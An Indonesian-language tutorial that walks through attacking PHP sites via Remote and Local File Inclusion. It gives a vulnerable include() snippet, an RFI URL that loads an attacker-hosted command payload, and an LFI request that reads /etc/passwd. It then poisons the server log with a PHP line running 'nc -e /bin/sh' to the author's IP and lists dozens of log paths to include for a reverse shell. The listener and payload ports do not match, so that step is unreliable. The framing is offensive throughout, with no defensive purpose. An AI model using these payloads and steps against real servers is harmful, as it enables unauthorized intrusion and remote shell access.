T
opik
kali ini kita sekedar membahas tentang keamanan suatu server, aplikasi
yang lagi populer saat ini yaitu “Remote File Inclusion” atau “Local
File Inclusion”, atau biasa disingkat
RFI atau
LFI,
adapun makna dari file inclusion ini ialah penyisipan kode ke file
.php, dengan memamfaatkan suatu kesalahan kode di file .php itu sendiri,
secara remote yaitu file tersebut tidak berada disatu tempat bersama
server, secara local yaitu file tersebut berada disatu tempat bersama
server. adapun perintah dalam bahasa pemograman .php yang memperbolehkan
penyisipan file php adalah:
include, include_once, require, require_once. Penyisipan sebuah kode jahat bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol
http:// https:// ftp:// smb:// atau biasa disebut “File Inclusion”, jika sebuah penyisipan kode jahat gagal mungkin settingan
allow_url_include berada dalam kondisi
Off pada
php.ini.
Penyerang yang sadar bahwa aksi penyusupan kode jahat gagal selanjutnya
ia mencoba teknik “Local File Inclusion” dimana penyisipan halaman
berada dalam satu server yang sama. contoh kode .php sederhana yg ada
kelemahannya:
<?php
$page = $_GET['page'];
include($page);
?>
Jikalau dijalankan maka akan muncul error:
Notice: Undefined index: page in /var/www/htdocs/page.php on line 2
Warning: include() [function.include]: Failed opening ” for inclusion
(include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3
Perhatikan kesalahan kode di baris ke-3 fungsi perintah inclusion
‘page’ dan dalam kesalahan ini dapat dimamfaatkan untuk memasukkan kode
jahat, lihat perintah berikut:
http://hong.web.id/page.php?page=…..attacker/kode.txt
Didalam file kode.txt dapat diisi kode yang kita inginkan seperti disini berikut contohnya:
<?
echo “”.passthru(‘uname -rv’).”";
echo “<p>”;
echo “”.passthru(‘pwd’).”";
echo “<p>”;
echo “”.passthru(‘id’).”";
echo “<p>”;
echo “”.passthru(‘ls’).”";
echo “<p>”;
?>
Jadi kalau diinginkan perintah yang lebih jauh lagi, bisa di ganti
sendiri perintah2 didalam file kode.txt tadi, misalkan memasukkan file
backdoor telnet atau yang lainnya. (Kreativitas anda ditentukan disini).
nah tehnik penyerangan diatas berhasil jikalau tidak ada muncul
peringatan seperti berikut:
Warning: include() [function.include]: URL file-access is
disabled in the server configuration in /var/www/htdocs/page.php on
line 3
Warning: include(http://site.attacker/kode.txt) [function.include]:
failed to open stream: no suitable wrapper could be found in
/var/www/htdocs/page.php on line 3
Kalau nongol peringatan diatas berarti
RFI tidak dibenarkan, mungkin settingan
php.ini dibagian
allow_url_include berada dalam kondisi
Off. Tapi kita jangan putus asa dulu
, sekarang kita coba tehnik
LFI atau
local file inclusion,
dimana file yang akan kita sisipkan dalam hal ini berada disatu tempat
bersama server yang akan kita kerjain. Contoh perintahnya:
http://hong.web.id/page.php?page=../../../etc/passwd
Dan jika berhasil, maka akan kelihatan isi file
/etc/passwd di server yang kita kerjain tadi. mau yang lebih keren lagi? misalnya mendapatkan akses ke shellnya? Coba langkah berikut:
- Siapkan 1bh login shell ssh atau apa saja yang penting bisa untuk menjalankan program netcat atau nc.
- Koneksi internet yg ok yah, ngga lelet maksudnya.
- kreativitas, kesabaran anda, rokok jgn lupa yah.
Perhatikan kode yang akan kita masukkan ke server
GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>
Dimana ip 202.160.160.160 adalah ip shell kita yang telah kita
siapkan untuk menerima koneksi dari server yang sedang kita kerjain
tadi. dimana di shell kita jalankan perintah netcat berikut:
root@hong.web.id:~# nc -l -v -p 4001
Perlu diingat, dimana disini diperlukan sedikit kesabaran dan kerja
keras, kode yang telah kita coba jalankan diweb yang kita serang, akan
menghasilkan error.log yang disimpan dlm sebuah file, dalam hal ini
posisi filenya mungkin berbeda disetiap server. berikut kira2 lokasi
file error.log nya:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log
Atau mungkin berada disatu direktori bersama:
../../../../../../../var/log/httpd/namadomain.org-error_log
../../../../../../../var/log/httpd/namadomain.org-access_log
../../../../../../../home/namauser/public_html/error_log.gz
Sesudah memasukkan kode ‘GET/<? echo “”.passthru(‘nc -e /bin/sh
202.160.160.160 4002′).”"; ?>’ tadi ke web yang sedang kita kerjain,
dan kira2 filelognya di
‘../../../../../../../home/namauser/public_html/error_log.gz’, perintah
selanjutnya yaitu:
http://hong.web.id/page.php?page=../../../../../../../home/namauser/public_html/error_log.gz
Jika berhasil anda telah melakukan Remote Connect-Back Shell, coba
lihat konsole anda yang menjalankan nc tadi, kita akan mendapatkan shell
dari target dan kita bisa menjalankan berbagai perintah linux.